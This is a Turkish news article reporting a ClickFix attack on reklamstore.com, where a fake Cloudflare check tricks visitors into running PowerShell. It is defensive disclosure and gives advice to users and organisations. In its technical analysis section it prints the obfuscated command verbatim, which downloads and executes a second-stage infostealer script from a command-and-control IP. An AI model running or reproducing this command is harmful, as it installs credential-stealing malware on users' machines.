Türk İnternetinin Yeni Tehdidi: reklamstore.com’da Aktif ClickFix Saldırısı Tespit Edildi

BEĞENDİM

ABONE OL

News

Mortanas Yapay Zeka Teknolojileri’nin Siber Tehdit İstihbaratı ekibi, Türkiye’nin önde gelen dijital reklam platformlarından reklamstore.com üzerinde, ziyaretçileri hedef alan aktif bir ClickFix saldırısı belgeledi. Saldırı, sahte bir Cloudflare doğrulama ekranı aracılığıyla kullanıcılara kendi bilgisayarlarına bilgi hırsızı yazılım yükletmeyi amaçlıyor.

Mortanas Yapay Zeka Teknolojileri’nin Siber Tehdit İstihbaratı (CTI) birimi, 8 Mayıs 2026 sabahı saat 10:01 itibarıyla Türkiye’de aktif bir siber saldırı kampanyası tespit etti. Saldırının yürütüldüğü platform, ülkenin tanınmış dijital reklam ağlarından reklamstore.com oldu.

Olay, Mortanas Medya bünyesindeki haber platformu medyagazetesi.com için reklam envanteri incelemek üzere reklamstore.com’a girilmesi sırasında ortaya çıktı. Site, ziyaretçilere ilk bakışta bir Cloudflare güvenlik doğrulaması gibi görünen ancak tamamen sahte bir ekran sunuyor; kullanıcıdan klavye üzerinde “Win + R, Ctrl + V, Enter” tuş kombinasyonunu uygulaması isteniyordu. Bu adımlar, görünüşte rutin bir doğrulama gibi sunulmuş olsa da arka planda kullanıcının bilgisayarında doğrudan PowerShell komutu çalıştıran bir saldırı zincirini tetikliyor.

ClickFix Nedir?

Saldırı yöntemi, küresel siber güvenlik camiasında “ClickFix” olarak biliniyor. Microsoft’un Ağustos 2025’te yayımladığı tehdit istihbaratı raporuna göre, izlenen siber saldırıların yüzde 47’si bu yöntemle başlıyor. ESET’in 2025 yılı ilk yarı tehdit raporu ise ClickFix saldırılarındaki artışın bir önceki yıla göre yüzde 517’ye ulaştığını ortaya koyuyor.

%47

Microsoft’un izlediği saldırıların ClickFix oranı (2025)

%517

ClickFix saldırılarındaki yıllık artış (ESET, H1 2025)

147.521

Tek kampanyada etkilenen sistem (ClearFake, 2025-2026)

Yöntemin etkili olmasının temel nedeni, geleneksel siber güvenlik kontrollerini doğrudan atlatan tasarımı: zararlı kod, sistemin güvenlik duvarı ya da antivirüs yazılımı tarafından indirilen bir dosya olarak değil, kullanıcının kendi elleriyle Çalıştır penceresine yapıştırılan ve PowerShell üzerinden bellekte yürütülen bir komut olarak çalışıyor. Bu durum, dosya tabanlı tarama yapan klasik antivirüs çözümlerinin saldırıyı tespit edememesi anlamına geliyor.

Teknik Analiz: PowerShell Komutu Nasıl Çalışıyor?

Mortanas YZ CTI ekibinin tersine mühendislik analizi, kullanıcının panosuna sessizce kopyalanan komutun sıradan bir betik olmadığını ortaya koydu. Komut, gerçek IP adresini gizlemek için string concatenation (dize birleştirme) yöntemini kullanıyor; antivirüs imza tespitlerini atlatmak için tasarlanmış obfuscation tekniklerini içeriyor.

powershell “Write-Host(iex(irm(((‘178.’+’16’)+(‘.52.’+’232’)))))2>$null”

Komutun çözümlenmiş hali, kullanıcının bilgisayarını 178.16.52.232 IP adresli komuta-kontrol (C2) sunucusuna bağlıyor; ardından bu sunucudan indirilen ikinci aşama PowerShell betiği belleğe yükleniyor ve doğrudan çalıştırılıyor. Hiçbir dosya diske yazılmadığı için adli analiz ve geleneksel uç nokta koruması ciddi şekilde zorlaşıyor.

Saldırının kullandığı teknik, MITRE ATT&CK çerçevesinde 12 farklı taktik ve teknik altında haritalandırılabiliyor; bunların başında T1059.001 (PowerShell), T1204.002 (User Execution), T1115 (Clipboard Hijacking) ve T1555.003 (Credentials from Web Browsers) geliyor.

Saldırının Hedefi: Kimlik Bilgileri ve Oturum Çerezleri

Saldırının başarıyla tamamlanması durumunda, kurban sistemden çıkarılması hedeflenen veri seti oldukça geniş kapsamlı:

Tarayıcılarda kayıtlı kullanıcı adları ve şifreler
Aktif oturum çerezleri (session cookies)
Kripto cüzdan dosyaları ve seed phrase’ler
Outlook, Steam ve diğer uygulama kimlik bilgileri
Sistem bilgileri ve ekran görüntüleri
Kurumsal SSO ve VPN token’ları

Olayın en kritik boyutu, çalınan oturum çerezlerinin iki faktörlü kimlik doğrulamayı (2FA/MFA) işlevsiz kılma kapasitesi. Saldırgan, aktif oturum cookie’sini ele geçirdiğinde, kurbanın şifresini bilmesine ya da MFA kodunu girmesine gerek kalmadan hesaba erişebiliyor. Bu durum, sadece şifre değiştirmenin yetersiz kaldığı; tüm aktif oturumların sonlandırılması gereken bir tehdit profili oluşturuyor.

“ClickFix saldırılarının en tehlikeli yönü, kurbanın kendi elleriyle saldırıyı tetiklemesi. Geleneksel güvenlik araçları indirme uyarısı, dosya taraması, web filtresi gibi katmanlarda çalışıyor; ancak ClickFix bu katmanların hiçbirinden geçmiyor. Bu yüzden bilinçli kullanıcı, en güçlü savunma katmanı olmaya devam ediyor.”— Mortanas YZ Teknolojileri, Siber Tehdit İstihbaratı Birimi

Türkiye’de Hedefli Kampanya Göstergeleri

Saldırının teknik karakteristikleri; Türkçe yerelleştirilmiş arayüz, Türkiye’de yaygın olarak kullanılan bir reklam platformu üzerinden dağıtım ve çalışma saatleriyle uyumlu zamanlama, kampanyanın açıkça Türk kullanıcılarını hedeflediğine işaret ediyor.

Komuta-kontrol sunucusu olarak kullanılan 178.16.52.232 IP adresinin, RIPE NCC bölgesindeki bir hosting sağlayıcı üzerinden kısa süreli kiralanmış bir VPS olduğu değerlendiriliyor. Bu altyapı modeli, küresel ClickFix kampanyalarının tipik özelliği olan “Malware-as-a-Service” (MaaS) operasyonlarıyla örtüşüyor.

reklamstore.com Yönetimi Bilgilendirildi mi?

Mortanas YZ Teknolojileri, tespit edilen güvenlik ihlalini koordineli ifşa (coordinated disclosure) ilkeleri çerçevesinde reklamstore.com yönetimine teknik raporla iletmek üzere harekete geçti. Aynı zamanda Ulusal Siber Olaylara Müdahale Merkezi’ne (USOM) de ihbar bildirimi yapıldığı öğrenildi.

Reklamstore.com’un açıklaması bekleniyor. Şu an itibarıyla sitenin doğrudan saldırgan altyapısının parçası olduğuna dair kesin bir bulgu bulunmuyor; ihtimal dahilindeki senaryo, sitenin üçüncü taraf bir reklam betiği üzerinden kompromize olmuş olması ya da bir XSS açığı aracılığıyla zararlı JavaScript kodunun enjekte edilmiş olması.

Ne Yapmalıyım? — Kullanıcılar İçin Hızlı Rehber

Bu sabah reklamstore.com’a girdiyseniz: “Win+R, Ctrl+V, Enter” adımlarını uyguladıysanız, derhal bilgisayarınızın internet bağlantısını kesin.
Şifrelerinizi başka bir cihazdan değiştirin: Etkilenen cihazı kullanmadan e-posta, banka, sosyal medya ve kurumsal hesaplarınızın şifrelerini güncelleyin.
Tüm aktif oturumlardan çıkış yapın: Çalınan çerezler şifre değişikliğini etkisiz kılabilir; tüm cihazlardaki oturumları sonlandırın.
Tam sistem taraması: Malwarebytes ve Windows Defender ile tam tarama yapın.
Banka ve kripto hesaplarını kontrol edin: Anormal işlem bildirimi alın, gerekirse hesaplarınızı geçici dondurun.
Altın kural: Hiçbir meşru güvenlik kontrolü sizden Win+R kombinasyonunu kullanmanızı talep etmez. Böyle bir talep gördüğünüz an, sayfayı kapatın.

Kurumsal Önlemler

Kurumsal güvenlik liderlerinin, ClickFix tipi saldırılara karşı sadece geleneksel antivirüs yazılımına güvenmemesi gerekiyor. Mortanas YZ Teknolojileri’nin önerdiği savunma katmanları arasında PowerShell Constrained Language Mode’un grup politikaları üzerinden etkinleştirilmesi, AMSI (Antimalware Scan Interface) entegrasyonunun aktif tutulması, davranış tabanlı EDR çözümlerinin dağıtımı, çıkış trafiğinin proxy üzerinden yönlendirilerek 178.16.52.0/24 bloğunun engellenmesi ve çalışan farkındalık eğitimleri yer alıyor.

Phishing-resistant MFA çözümlerine — özellikle FIDO2 ve WebAuthn tabanlı donanım anahtarlarına — geçiş, oturum çerezi hırsızlığını anlamsız kılan en güçlü teknik kontrol olarak öne çıkıyor.

Sonuç

ClickFix saldırılarının küresel ölçekte hızla yaygınlaşması ve Türkiye’de bu denli görünür bir platform üzerinde aktif olarak gözlemlenmesi, dijital ekosistemin tüm aktörleri için bir uyarı niteliğinde. Reklam ağları, içerik dağıtım şebekeleri ve üçüncü taraf JavaScript bileşenleri, modern saldırganların ilk hedefi haline gelmiş durumda.

Mortanas Yapay Zeka Teknolojileri, vakaya ilişkin teknik bulguları içeren 8 sayfalık tehdit istihbaratı raporunu kurumsal paydaşlarla paylaşmaya devam ediyor. Olayın gelişimi medyagazetesi.com tarafından takip edilmekte; reklamstore.com yönetiminden gelecek açıklama bu sayfada yayımlanacaktır.